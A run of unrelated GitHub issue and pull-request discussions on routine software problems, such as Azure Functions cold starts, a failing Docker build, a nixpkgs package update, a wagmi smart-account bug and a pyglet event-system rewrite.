Significantly reduced service quality since March 16.

For about a week now the amount of availability of functions have been atrocious with regular 503 errors for hours at a time.
Looking at the logs it seems to have started around March 16.
There have been no back-end changes to our site in that period so I cannot pin this on anything on our side.
Any suggestions, updates, some sort of light at the end of the tunnel? If things don't change soon I'll likely have to move the site to some other hosting plan.

Have you already setup App Insights to see the function logs?
If you have and you didn't see any useful logs, then I'd also recommend filling a support ticket so you can provide all of the time ranges, app name, etc. without needing to publicize it here.

I have set up App insights now and will keep an eye on it. I was mostly curious if there's any planned maintenance or other things going on. Normally I wouldn't expect this but SWA being in preview has me a bit on the edge.I was hoping we'd get an official release of SWA before our service went live, because frankly I really enjoy using it, and replicating the same serverless setup with non-preview Azure products would be a mess.

It seems like my the cause of my woes were related to the back-end functions going into a "cold" state overnight causing the described issue first thing in the morning (the service sees pretty much all traffic during business hours in one time zone).
I'm basing this assumption on the fact that ever since I added an availability test on App insights (which includes a regular ping) the problem disappeared (classic case of a Heisenbug).
The fact that the cold starts took multiple minutes instead of the few second's I'd expect is still a bit concerning but at least now I have something to go by.
I think we can close this issue, thanks for the help!

@cirzoltan Is your app in a public repo? Would like to look into the cause of the long cold start of the function app.


Unable to integrate into larger projects

I think the code in this would be better if it was restructured to a package so one could install it via pip and use the hashing functions in a larger project vs having to copy the code out. This would open up the ability to publish this package on pypi and do a 'pip install ciscoPWDhasher' and import the hashing function you need to use. This would also not change the name or functionality of the 'ciscopwdhasher.py' script, only the structure of the code.

Hey Kyle,
I've just finished a project for 12 months or so which sucked up all of my time. I've been meaning to get back to you about this. I also needed time to go through it as your Python skills are obviously well beyond mine. I've merged the changes, and also made you a collaborator! I hoping to finally implement Type 10 and fix some of the issues re: Type 9 on some of the latest IOS-XE versions.


Quick-fix for Docker image build

The docker image builds are failing on main:
#15 4.364 Collecting hg-evolve
#15 4.412   Downloading hg-evolve-10.5.3.tar.gz (847 kB)
#15 4.445      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 847.1/847.1 kB 29.2 MB/s eta 0:00:00
#15 4.621   Preparing metadata (setup.py): started
#15 4.828   Preparing metadata (setup.py): finished with status 'error'
#15 4.835   error: subprocess-exited-with-error
#15 4.835
#15 4.835   × python setup.py egg_info did not run successfully.
#15 4.835   │ exit code: 1
#15 4.835   ╰─> [1 lines of output]
#15 4.835       ERROR: Can not execute `setup.py` since setuptools is not available in the build environment.
#15 4.835       [end of output]
#15 4.835
#15 4.835   note: This error originates from a subprocess, and is likely not a problem with pip.
#15 4.838 error: metadata-generation-failed
#15 4.838
#15 4.838 × Encountered error while generating package metadata.
#15 4.838 ╰─> See above for output.
#15 4.838
#15 4.838 note: This is an issue with the package mentioned above, not pip.
#15 4.838 hint: See above for details.
#15 ERROR: process "/bin/sh -c pip3 install --ignore-installed --no-deps /tmp/wheelhouse/*.whl  && pip3 install hg-evolve  && pip3 list" did not complete successfully: exit code: 1

This is somehow related to RUN --mount=type=cache,target=${PIP_CACHE_DIR}, removing it allows the build to succeed. I can't get RUN --mount=type=cache to play nicely on my system (the cache isn't always invalidated) so this is a quick fix, but feel free to close this PR and push an alternative fix.
This reverts commit ed82b83ebad77d7c5893e23a73777de4812545dd.

Thanks @manics!


__cupy_array__ API that works like __array__?

Recently (https://github.com/cupy/cupy/pull/6414) we introduced __cupy_get_ndarray__ to allow passing poly classes directly to cupy kernels.
This API is currently intended for internal use, but I'm wondering whether we should publicize this API in case any other downstream projects are interested in using this.

Just a note: Apparently __cupy_get_ndarray__ solved a minor issue @rgommers just brought up in the array API meeting: With this private method added to v10.3.0, this works as expected (NumPy supports the same conversion):
cp.asarry(cp.array_api.Array)

I think this feature probably makes sense for downstream packages, and seems to be quite lightweight to add. Nice idea I'd say.


Enqueue not logging or triggering callback

Here's what I'm running on.
ruby 2.1.0p0 (2013-12-25 revision 44422) [x86_64-darwin10.0]
PostgreSQL 9.3.2 on x86_64-apple-darwin10.8.0, compiled by i686-apple-darwin10-gcc-4.2.1 (GCC) 4.2.1 (Apple Inc. build 5666) (dot 3), 64-bit
queue_classic-2.2.3 (and have also tried 3.0.0rc, which produces the same issue)
pg: 0.17.0
In one console, I run the commend
rake qc:work DEBUG=true
In another console, I run rails c and execute the command
QC.enqueue('p','what the!')

lib=queue-classic at=exec_sql sql="DELETE FROM queue_classic_jobs where id = $1"
lib=queue-classic measure=queue.delete elapsed=1
lib=queue-classic at=delete_job job=201
lib=queue-classic at=work job=201 elapsed=1
lib=queue-classic at=lock_job
lib=queue-classic at=exec_sql sql="SELECT * FROM lock_head($1, $2)"
lib=queue-classic measure=queue.lock elapsed=0
lib=queue-classic at=exec_sql sql="LISTEN "default""
lib=queue-classic at=exec_sql sql="UNLISTEN "default""
As you can see the 'puts' job is executed, but there isn't a "queue.enqueue" line in the log. If I comment out all the code in the QC.enqueue function, replace it with a simple QC.log("I'm enqueueing now!"), and then execute a QC.enqueue command, I don't see "I'm enqueueing now!" in the logs (it also, obviously, does not insert the job into the queue and therefore does not execute the job).
Ultimately, the larger problem is that the enqueue function is not triggering my after_enqueue callback. Clearly the enqueue function is being called because adding debug log calls to the "process" function will appear in the console.
Also to note, the after_delete callback I have works fine. I can include my code for the callback functionality if that helps (it isn't the prettiest as this is my first foray into using and extending Ruby modules and class), but it seems like there's some issue with "enqueue" function not returning from log_yield, but I can't explain why.
I could have a complete misunderstanding of what's going on here, but please let me know if you have any ideas or experienced similar issues. Thanks!

@johnklawlor does this still happen with the latest versions of QC?


Outlook: Can't log in with Outlook.com account

If you try to add an Outlook.com e-mail account to Outlook, the login dialog that pops up will just tell you to upgrade your browser  and won't allow you to actually log in.

Have the same issue when attempting to login to an Office account to activate product. Just get the below. Is there a fix?

None that I know of right know. I tried setting up the account on a Windows computer and than transferring it over, but it seems Outlook detects that the account wasn't set up on the computer you're using and requires you to log in again.

I'm closing this issue to merge it with this one, as they're both talking about the same problem

I'm closing this issue to merge it with this one, as they're both about the same login problem.


python310Packages.pycocotools: 2.0.6 -> 2.0.7

Automatic update generated by nixpkgs-update tools. This update was made based on information from passthru.updateScript.
meta.description for python310Packages.pycocotools is: Official APIs for the MS-COCO dataset
meta.homepage for python310Packages.pycocotools is: https://github.com/cocodataset/cocoapi/tree/master/PythonAPI
Updates performed

Ran passthru.UpdateScript

To inspect upstream changes
Impact

Checks done (click to expand)

built on NixOS
The tests defined in passthru.tests, if any, passed
found 2.0.7 with grep in /nix/store/bsc5d7k6l6ixc9qymvn837xkhcgmx3k3-python3.10-pycocotools-2.0.7
found 2.0.7 in filename of file in /nix/store/bsc5d7k6l6ixc9qymvn837xkhcgmx3k3-python3.10-pycocotools-2.0.7

Rebuild report (if merged into master) (click to expand)

10 total rebuild path(s)

10 package rebuild(s)

First fifty rebuilds by attrpath
python310Packages.detectron2
python310Packages.dm-sonnet
python310Packages.effdet
python310Packages.pycocotools
python310Packages.tensorflow-datasets
python310Packages.unstructured-inference
python311Packages.detectron2
python311Packages.effdet
python311Packages.pycocotools
python311Packages.unstructured-inference

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/bsc5d7k6l6ixc9qymvn837xkhcgmx3k3-python3.10-pycocotools-2.0.7 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A python310Packages.pycocotools https://github.com/r-ryantm/nixpkgs/archive/7ba2b6d45567b8d983a5966b8cbaef7a330f2c0f.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/bsc5d7k6l6ixc9qymvn837xkhcgmx3k3-python3.10-pycocotools-2.0.7
ls -la /nix/store/bsc5d7k6l6ixc9qymvn837xkhcgmx3k3-python3.10-pycocotools-2.0.7/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

8 packages built:

python310Packages.detectron2
python310Packages.effdet
python310Packages.pycocotools
python310Packages.unstructured-inference
python311Packages.detectron2
python311Packages.effdet
python311Packages.pycocotools
python311Packages.unstructured-inference

Maintainer pings
cc @piegamesde for testing.

This is a semi-automatic executed nixpkgs-review with nixpkgs-review-checks extension. It is checked by a human on a best effort basis and does not build all packages (e.g. lumo, tensorflow or pytorch).
Result of nixpkgs-review pr 250583 run on x86_64-linux 1

2 packages marked as broken and skipped:

python310Packages.dm-sonnet
python310Packages.dm-sonnet.dist

16 packages built:

python310Packages.detectron2
python310Packages.detectron2.dist
python310Packages.effdet
python310Packages.effdet.dist
python310Packages.pycocotools
python310Packages.pycocotools.dist
python310Packages.unstructured-inference
python310Packages.unstructured-inference.dist
python311Packages.detectron2
python311Packages.detectron2.dist
python311Packages.effdet
python311Packages.effdet.dist
python311Packages.pycocotools
python311Packages.pycocotools.dist
python311Packages.unstructured-inference
python311Packages.unstructured-inference.dist


Runtime error after minifying: Custom Account Abstractions walletClients are not working.

Describe the bug
I'm have an external walletClient from a different package @zerodev. I'm using it inside a custom wagmi connector. The special case about this walletClient is, that it doesn't have a signTransaction function implemented, as this is not possible with Account Abstraction Wallets.
In my case I was trying to use the simple useSendTransaction hook. I had this really weird behaviour where the code was working as expected in dev mode, but after building it (Next.js) I got a runtime error. After quite some digging, I found out why.
I pinned it down to this line:
https://github.com/wevm/wagmi/blob/b1a84627dc814563b4874a514b10942d6f15b56b/packages/core/src/utils/getAction.ts#L34
In my case, actionFn.name had a value of w and name had a value of sendTransaction. So I was always using the fallback function. Since actionFn.name was not undefined, but just had a wrong name, the code was not working as expected.
The fallback sendTransaction implementation uses signTransaction internally, which is not implemented in Account Abstraction Clients, that's why I got the error.
Link to Minimal Reproducible Example
No response
Steps To Reproduce

Return a walletClient from a custom connector that doesn't implement useSignTransaction
Try to send a transaction with e.g. useSendTransaction

Wagmi Version
2.5.7
Viem Version
2.7.14
TypeScript Version
5.3.3
Check existing issues

[X] I checked there isn't already an issue for the bug I encountered.

Anything else?
No response

I fixed it here:
https://github.com/wevm/wagmi/pull/3642
Would be great if this could be merged, I'm running a patched version at the moment.

I also have a similar error, but with writeContract action:
TransactionExecutionError: A smart account cannot sign or send transaction, it can only sign message or userOperation.
Please send user operation instead.
Version<EMAIL_ADDRESS>    at getTransactionError (getTransactionError.js:18:12)
    at sendTransaction (sendTransaction.js:144:105)
    at async writeContract (writeContract.js:38:18)

I have a next.js project, I've created a kernel smart account client using permissionless.js, and I'm using useWriteContract hook in order to call a function on a smart contract. The funny thing is that it works flawlessly for sendTransactionaction, so I doubt it's "permissionless" lib's fault.
Any ideas what might be causing this?

I'm pretty sure these are related, because there's some problems where wagmi uses the fallback implementations of the client, not original ones from the AA client. These fallback implementations are not compatible with how Smart Wallets work (e.g. signTransaction doesn't work on a smart account client, since the transaction can only be bundled by the bundler.)


Enhance bridge via cashing

Bridge.js is about 1.5 megabyte
So if we using standard http based apps then we have big problem in performace
The problem is we need to download bridge.js file every time where page loading
Do you have any plan for cashing that? Or cashing hole project?

Use bridge.min.js as it should be 60% smaller.
The browser should automatically cache the static .js file. Bridge cannot control whether the .js file is cached or not, that is a function of your app, server, and browser.

Another option is to point to our CDN versions of the Bridge .js distribution files using https://speed.bridge.net.
The CDN files should be automatically sent using gzip compression and will be cached by the client browser.
Hope this helps.

Original issue by @miladsadeghi72:
Bridge.js is about 1.5 megabyte
So if we using standard http based apps then we have big problem in performace
The problem is we need to download bridge.js file every time where page loading
Do you have any plan for cashing that? Or cashing hole project?


Update Deployment Comment

Instead of writing a new comment every time the static test site gets deployed, this patch will cause the first comment to be updated similar to the container image deployment.
This means that if you open a pull requests, the first two comments should usually hold all information about the latest deployment.

I don't know if this is working every time. But let's merge it anyway and see if it does anything...


Refactor NewUserLocation and LocationSheet to use async/await

FYI @nickoneill here's a preview of converting NewUserLocation and LocationSheet to use async/await instead of closures (checkout first commit for now since 2nd is a large rename). I still have some debugging and testing to add, but so far it seems to simplify a lot.


Return Request-Id in Response

Describe the problem you are trying to solve:
Right now, it seems like the only way to view the request-id is configure the logger on the GoogleAdsClient object. I don't want the entire output that automatically gets written to the configured logger because I want more flexibility into what gets logged based on the response.
Describe the solution you'd like:
I would like to see the request-id be returned in the response object so that it can easily be accessed. Furthermore, if you look at the decoded partial failure response, it has the request_id field but it is always blank despite the logs showing a request-id being returned.
For example here are the logs for a failed request:
10:17:30 AM	WARN	2022-02-02 10:17:30 -0600	reverb_core.rails	17640	{"message":"CID:<PHONE_NUMBER>, Host: googleads.googleapis.com:443, Method: /google.ads.googleads.v9.services.GoogleAdsService/Search, IsFault: yes, Request ID: vGV3QoQ2PtN00tmAVqsPIw"}

And in the decoded partial failures I see:
[<Google::Ads::GoogleAds::V9::Errors::GoogleAdsFailure: errors: [<Google::Ads::GoogleAds::V9::Errors::GoogleAdsError: error_code: <Google::Ads::GoogleAds::V9::Errors::ErrorCode: conversion_upload_error: :UNPARSEABLE_GCLID>, message: "This Google Click ID could not be decoded.", trigger: <Google::Ads::GoogleAds::V9::Common::Value: string_value: "bad-glcid">, location: <Google::Ads::GoogleAds::V9::Errors::ErrorLocation: field_path_elements: [<Google::Ads::GoogleAds::V9::Errors::ErrorLocation::FieldPathElement: field_name: "conversions", index: 0>, <Google::Ads::GoogleAds::V9::Errors::ErrorLocation::FieldPathElement: field_name: "gclid">]>>], request_id: "">]

The request ID is returned in the trailing metadata of the request, not as part of the response, so I don't think there's anything we can do about that in terms of general library functionality.
You could always write your own interceptor and log or do whatever you want with the information. For reference, here's our logging interceptor to get you started: https://github.com/googleads/google-ads-ruby/blob/main/lib/google/ads/google_ads/interceptors/logging_interceptor.rb
If you do write a custom interceptor, you would not be able to use our convenience methods for generating service instances (since there's no API to inject a custom interceptor right now). But if this is a solution you think you'd like to pursue, we could look at adding the ability to use custom interceptors with our service generator in the future.


[#2326] feat(docker): support build with arg platform=all on Doris docker image

What changes were proposed in this pull request?
support platform=all for doris images
Why are the changes needed?
Fix: #2326
Does this PR introduce any user-facing change?
N/A
How was this patch tested?
local
./build-docker.sh --type doris --image doris_ci --tag test
./build-docker.sh --platform linux/arm64 --type doris --image doris_ci --tag test
./build-docker.sh --platform linux/amd64 --type doris --image doris_ci --tag test

@yuqi1129 @qqqttt123 could you help to review this PR ?

@zhoukangcn
Is it ready for review?

@yuqi1129 @qqqttt123  I had submit a new version. which can reduce Doris image size to 5.5GB (7.2GB before). pls help to review.
I had tested in arm64 & amd64, it works well

This image is too large. Could you reduce its size further?

@qqqttt123 The Docker image is large due to the size of the Doris package (which is 4GB after decompression). I've tried numerous methods to reduce the package size. If further reduction is needed, I will have to investigate which software in apt-get install is unnecessary, these software is also added by doris offical image

@qqqttt123 I found that the Doris 1.1.0 version package is relatively small (588M after decompression) and I need some time to confirm whether we can depend on this version for IT testing. (The current stable version of Doris is 1.2.7)
Would you recommend merging the current PR directly, or change the version of Doris package to reduce the image size?

There are some solution which I can know.
Could we remove some unused packages in the Doris package?
Could we copy the unarchived files to Docker image? Because we copy the zip package to the Docker image.

Thanks all.


Fix list item attachments

Q
A

Bug fix?
[x]

New feature?
[ ]

New sample?
[ ]

Related issues?
fixes #282

This fixes #282 by changing how attachment files and previews are loaded. Additionally, it improves attachment related methods in SPService.
There are couple of things to keep in mind:

because this changes public API it may require major version increase. SPService.getListItemAttachments() used to return null if no attachments there found. Now it returns []. But this is up to debate as I don't know whether anyone actually uses them directly.
I'm pretty sure check for existing attachment didn't work before. Now it does and this control replaces existing file with new version. This may be unexpected to some users. Or not...
I don't use this control in any of my projects so if messed up something let me know :)

Codecov Report

Merging #286 into dev will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##              dev     #286   +/-   ##
=======================================
  Coverage   72.36%   72.36%
=======================================
  Files          17       17
  Lines         760      760
  Branches      157      157
=======================================
  Hits          550      550
  Misses        163      163
  Partials       47       47

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 0bd5dce...9671b69. Read the comment docs.

Thanks @ltdu - this will be released as a bug fix. As you mention that there wasn't working something before, it might be that there wasn't a lot of usages yet + we will bump the major version soon as we plan to update to Office UI Fabric version 6 + SPFx 1.8.2 or higher.


Direct people reading waitUntil() docs to Tail Workers

Tail Workers are recommended
They aren't easily discoverable though when reading the docs for waitUntil
This calls them out within the waitUntil docs

Closing in favor of https://github.com/cloudflare/cloudflare-docs/pull/13252/commits/829b26bf58cdb749918dd66bdbb3f34d607dffdd


[MTDSA-1054] Remove endpoints for initial release.

Retrieve self-employment obligations
Retrieve property obligations
Create other update period
Update other annual summary
Create FHL update period
Update FHL annual summary

👍


Report error with custom parameters?

I wanted to make a function that calls the THROW_WIN32 macro because I want to give it a shorter more convenient name that can then also be used with a using statement (related to #186). But then the context information will be incorrect, so I have to pass that around.
Hence my question: is it currently possible to report an error with manually provided parameters, for example:
throwWin32(returnAddr, line, file, func, GetLastError());

We can of course use __R_FN(Throw_Win32)(...);, but using such an internal function seems like asking for trouble, and the signature is dependent on the RESULT_DIAGNOSTICS_LEVEL. Is there another way? If not, should maybe public functions be added that take all context parameters and can be called like this?
I guess that maybe I could just disable extra context because I use CaptureStackBackTrace anyways, but I imagine that I'm not the only one that doesn't like using the macros.

AFAIK no way to do this. we look forward std::source_location but that is not used in wil yet.


Refactor events framework and add event priorities.

See #205 for context.
This PR contains almost complete rewrite of the events framework. The API remained mostly the same, but most of the code except _raise_dispatch_exception and event decorator was rewritten to accommodate the new representation of event handlers stack/queue, and hopefully to simplify the code and the API. The changes include:

The notion of "event frames" has been removed. The queues of event handlers for each event types are now independent.
The methods set_handlers, set_handler, pop_handlers have been removed. The main remaining methods for manipulating the handlers are push_handlers and remove_handlers that accept exactly the same arguments. There are also push_handler and remove_handler methods for adding/removing only one handler, but they aren't really necessary, and aren't mentioned in the documentation.
The handlers are now stored in lists of (priority, handler) pairs for each event type. New handlers are added after all existing handlers with strictly higher priority, but before handlers with lower or equal priority. This preserves the current convention that the last added handler is executed first.
The dispatcher object is not treated differently from other handlers, but is added via self.push_handlers(self) the first time any handler is added or an event is fired. This means that overwriting a method on the dispatcher class will not always work for adding a new handler. I removed this recommendation from the docs, because it was error-prone anyway. The three recommended way of adding handlers are now: @event decorator, push_handlers, and subclassing the dispatcher class.
Parts of the module documentation are rewritten to reflect the changes. I'm not sure what documentation generator Pyglet is using, so I just wrote in plain Markdown.
I've added a bunch of new unit tests.

Please have a look at the code and tell me what you think.

Sorry I've been a bit busy, but I'll give this a look over today. Thanks!

Sorry for the delay! It's been a really busy week. I've had a chance to look over the code, but not actually test it yet. I've got it cloned locally so I'll test it later this event.
Just want to say: excellent work on the documentation!

Thanks for the heads up! There's no rush. I haven't yet tested this in Pyglet 2 since it's currently broken on Mac, but I tried using it in my own small project, and it worked fine so far.